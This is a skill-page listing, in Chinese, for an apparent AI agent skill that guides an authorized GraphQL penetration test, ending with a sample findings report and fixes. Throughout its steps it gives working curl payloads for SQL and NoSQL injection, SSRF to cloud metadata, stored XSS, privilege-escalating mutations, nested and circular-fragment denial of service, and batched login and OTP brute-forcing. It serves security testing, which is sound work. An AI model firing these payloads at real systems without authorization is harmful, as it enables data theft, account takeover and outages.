L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Productivité · SKILL.md

performing-graphql-security-assessment

performing-graphql-security-assessment

在授权安全测试期间,评估 GraphQL API 端点的内省泄漏、注入攻击、授权缺陷和拒绝服务漏洞。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: performing-graphql-security-assessment description: 在授权安全测试期间,评估 GraphQL API 端点的内省泄漏、注入攻击、授权缺陷和拒绝服务漏洞。 domain: cybersecurity subdomain: web-application-security tags: [penetration-testing, graphql, api-security, owasp, web-security, introspection] version: "1.0" author: mahipal license: Apache-2.0

执行 GraphQL 安全评估(Performing GraphQL Security Assessment)

适用场景

  • 在授权渗透测试期间,当目标应用程序使用 GraphQL API 时
  • 评估通过 GraphQL 通信的单页应用程序(React、Vue、Angular)时
  • 评估公开 GraphQL 端点的移动应用程序后端时
  • 测试带有 GraphQL 网关或联邦的微服务架构时
  • 在针对基于 GraphQL API 的漏洞赏金项目中

前置条件

  • 授权:针对目标的书面渗透测试协议
  • Burp Suite Professional:带有 InQL 扩展用于 GraphQL 扫描
  • GraphQL Voyager:模式可视化工具
  • InQL Scanner:用于 GraphQL 内省和查询生成的 Burp 扩展
  • Altair GraphQL Client:用于交互式测试的桌面 GraphQL 客户端
  • clairvoyance:禁用内省时的 GraphQL 模式枚举工具
  • curl:手动 GraphQL 查询提交

工作流程

步骤 1:发现并指纹识别 GraphQL 端点

定位 GraphQL 端点并确认 GraphQL 正在运行。

# 常见 GraphQL 端点路径
for path in graphql graphiql playground query gql api/graphql \
  v1/graphql v2/graphql graphql/console; do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST -H "Content-Type: application/json" \
    -d '{"query":"{__typename}"}' \
    "https://target.example.com/$path")
  echo "$path: $status"
done

# 检查 GraphQL IDE(GraphiQL、Playground)
curl -s "https://target.example.com/graphiql" | grep -i "graphiql"
curl -s "https://target.example.com/graphql/playground" | grep -i "playground"

# 指纹识别 GraphQL 引擎
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{__typename}"}' \
  "https://target.example.com/graphql"
# 响应因引擎而异:Apollo 返回"Query",Hasura 返回"query_root"

# 检查 WebSocket GraphQL 订阅
# ws://target.example.com/graphql(或 wss://)

步骤 2:执行模式内省

提取完整的 GraphQL 模式以了解 API 表面。

# 完整内省查询
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name kind fields { name type { name kind ofType { name kind } } } } mutationType { fields { name } } queryType { fields { name } } subscriptionType { fields { name } } } }"}' \
  "https://target.example.com/graphql" | jq .

# 综合内省查询
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}"}' \
  "https://target.example.com/graphql" | jq . > schema.json

# 如果内省被禁用,使用 clairvoyance 进行模式枚举
python3 -m clairvoyance \
  -u "https://target.example.com/graphql" \
  -w /usr/share/seclists/Discovery/Web-Content/graphql-field-names.txt \
  -o discovered-schema.json

# 使用 GraphQL Voyager 可视化模式
# 将 schema.json 上传到 https://graphql-kit.com/graphql-voyager/

步骤 3:测试查询和变更的授权

验证访问控制是否在字段和对象级别强制执行。

# 测试查询所有用户(应需要管理员权限)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"{ users { id email role passwordHash } }"}' \
  "https://target.example.com/graphql" | jq .

# 测试访问自己账户上的敏感字段
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"{ user(id: 1) { id email ssn creditCard internalNotes } }"}' \
  "https://target.example.com/graphql" | jq .

# 测试变更授权(使用用户令牌执行仅管理员操作)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"mutation { deleteUser(id: 2) { success } }"}' \
  "https://target.example.com/graphql" | jq .

curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"mutation { updateUserRole(userId: 1, role: ADMIN) { id role } }"}' \
  "https://target.example.com/graphql" | jq .

# 无认证测试
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ users { id email } }"}' \
  "https://target.example.com/graphql" | jq .

步骤 4:测试注入漏洞

评估 GraphQL 查询的 SQL 注入、NoSQL 注入和其他注入类型。

# GraphQL 参数中的 SQL 注入
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ user(name: \"admin\\\" OR 1=1--\") { id email } }"}' \
  "https://target.example.com/graphql" | jq .

# NoSQL 注入(MongoDB)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ users(filter: {email: {$ne: \"\"}}) { id email } }"}' \
  "https://target.example.com/graphql" | jq .

# 通过 GraphQL 测试 SSRF
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"mutation { importData(url: \"http://169.254.169.254/latest/meta-data/\") { result } }"}' \
  "https://target.example.com/graphql" | jq .

# 通过变更测试存储型 XSS
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"mutation { updateProfile(bio: \"<script>alert(1)</script>\") { id bio } }"}' \
  "https://target.example.com/graphql" | jq .

# GraphQL 指令注入
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user(id: 1) { email @deprecated } }"}' \
  "https://target.example.com/graphql" | jq .

步骤 5:测试拒绝服务攻击

评估查询复杂度限制和资源消耗控制。

# 深度嵌套攻击(查询深度)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ users { friends { friends { friends { friends { friends { friends { friends { name } } } } } } } } }"}' \
  "https://target.example.com/graphql" | jq .

# 宽度攻击(请求多个字段)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ u1: user(id:1){email} u2: user(id:2){email} u3: user(id:3){email} u4: user(id:4){email} u5: user(id:5){email} u6: user(id:6){email} u7: user(id:7){email} u8: user(id:8){email} u9: user(id:9){email} u10: user(id:10){email} }"}' \
  "https://target.example.com/graphql" | jq .

# 批量查询攻击
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '[{"query":"{ user(id:1){email} }"},{"query":"{ user(id:2){email} }"},{"query":"{ user(id:3){email} }"},{"query":"{ user(id:4){email} }"},{"query":"{ user(id:5){email} }"}]' \
  "https://target.example.com/graphql" | jq .

# 基于片段的循环引用
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ users { ...A } } fragment A on User { friends { ...B } } fragment B on User { friends { ...A } }"}' \
  "https://target.example.com/graphql" | jq .

# 测试无界分页
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ users(first: 1000000) { id email } }"}' \
  "https://target.example.com/graphql" | jq '.data.users | length'

步骤 6:测试批量请求绕过认证

使用查询批量来暴力破解凭据或绕过速率限制。

# 批量登录尝试以绕过速率限制
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '[
    {"query":"mutation{login(email:\"admin@target.com\",password:\"password1\"){token}}"},
    {"query":"mutation{login(email:\"admin@target.com\",password:\"password2\"){token}}"},
    {"query":"mutation{login(email:\"admin@target.com\",password:\"password3\"){token}}"},
    {"query":"mutation{login(email:\"admin@target.com\",password:\"admin123\"){token}}"},
    {"query":"mutation{login(email:\"admin@target.com\",password:\"letmein\"){token}}"}
  ]' \
  "https://target.example.com/graphql" | jq .

# 批量 OTP 验证尝试
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '[
    {"query":"mutation{verifyOTP(code:\"000000\"){success}}"},
    {"query":"mutation{verifyOTP(code:\"000001\"){success}}"},
    {"query":"mutation{verifyOTP(code:\"000002\"){success}}"},
    {"query":"mutation{verifyOTP(code:\"000003\"){success}}"},
    {"query":"mutation{verifyOTP(code:\"000004\"){success}}"}
  ]' \
  "https://target.example.com/graphql" | jq .

# 基于别名的批量(相同操作,不同别名)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation { a1:login(email:\"admin@test.com\",password:\"pass1\"){token} a2:login(email:\"admin@test.com\",password:\"pass2\"){token} a3:login(email:\"admin@test.com\",password:\"pass3\"){token} }"}' \
  "https://target.example.com/graphql" | jq .

核心概念

概念定义
内省(Introspection)公开完整模式、类型、字段和变更的 GraphQL 功能
查询深度(Query Depth)GraphQL 查询的嵌套级别;深度过大的查询可能导致 DoS
查询复杂度(Query Complexity)根据查询中每个字段的解析成本计算的分数
批量请求(Batching)在单个 HTTP 请求中发送多个查询以并行执行
别名(Aliases)允许以不同参数多次查询同一字段的 GraphQL 功能
片段(Fragments)可重用的字段选择,如果不验证可能导致循环引用
N+1 问题(N+1 Problem)未优化的解析器导致嵌套字段指数级数据库查询
字段级授权(Field-level Authorization)应用于单个字段而非整个类型的访问控制

工具与系统

工具用途
InQL(Burp 扩展)Burp Suite 的 GraphQL 内省扫描器和查询生成器
GraphQL Voyager交互式模式可视化工具
Altair GraphQL Client用于构造和测试查询的桌面 GraphQL IDE
clairvoyance禁用内省时的模式枚举工具
graphql-copGraphQL 安全审计工具(pip install graphql-cop)
BatchQL用于速率限制绕过的 GraphQL 批量攻击工具

常见场景

场景 1:内省暴露内部模式

生产环境启用了内省,泄露了 AdminSettings、InternalUser 等内部类型以及 deleteAllUsers 等变更。这为进一步攻击提供了完整的路线图。

场景 2:缺少字段级授权

User 类型暴露了 passwordHash、ssn 和 internalNotes 字段。虽然前端只查询 name 和 email,但任何已认证用户都可以直接请求敏感字段。

场景 3:批量登录绕过

GraphQL 端点接受批量查询。通过在单个 HTTP 请求中发送 1000 次登录变更尝试,攻击者绕过了仅计算 HTTP 请求次数的基于 IP 的速率限制。

场景 4:嵌套查询 DoS

社交网络 API 允许查询 friends { friends { friends { ... } } } 至无限深度。10 级嵌套查询导致服务器处理数百万次数据库查询,造成拒绝服务。

输出格式

## GraphQL 安全评估报告

**目标**:https://target.example.com/graphql
**引擎**:Apollo Server 4.x
**评估日期**:2024-01-15

### 发现摘要
| 发现 | 严重程度 | 状态 |
|---------|----------|--------|
| 生产环境启用内省 | 中等 | 易受攻击 |
| 缺少字段级授权 | 高 | 易受攻击 |
| 无查询深度限制 | 高 | 易受攻击 |
| 批量查询速率限制绕过 | 高 | 易受攻击 |
| GraphiQL IDE 已暴露 | 低 | 易受攻击 |
| user 查询中的 SQL 注入 | 严重 | 易受攻击 |
| 变更上的 CSRF | 中等 | 通过(需要自定义头部) |

### 严重:通过 user 查询的 SQL 注入
**位置**:`user(name: String)` 查询参数
**载荷**:`{ user(name: "' OR 1=1--") { id email role } }`
**影响**:通过 GraphQL 接口完全读取数据库

### 高:批量认证绕过
**位置**:POST /graphql(数组请求体)
**载荷**:单个请求中包含 100 个登录变更的数组
**影响**:速率限制被绕过;每个 HTTP 请求可尝试 100 个密码

### 修复建议
1. 在生产环境中禁用内省
2. 对所有敏感字段实施字段级授权
3. 设置查询深度限制(最大 7-10 层)
4. 设置查询复杂度限制和成本分析
5. 禁用或对批量查询进行速率限制
6. 从生产环境中删除 GraphiQL/Playground
7. 对解析器中的所有数据库查询使用参数化处理
Skills enregistrées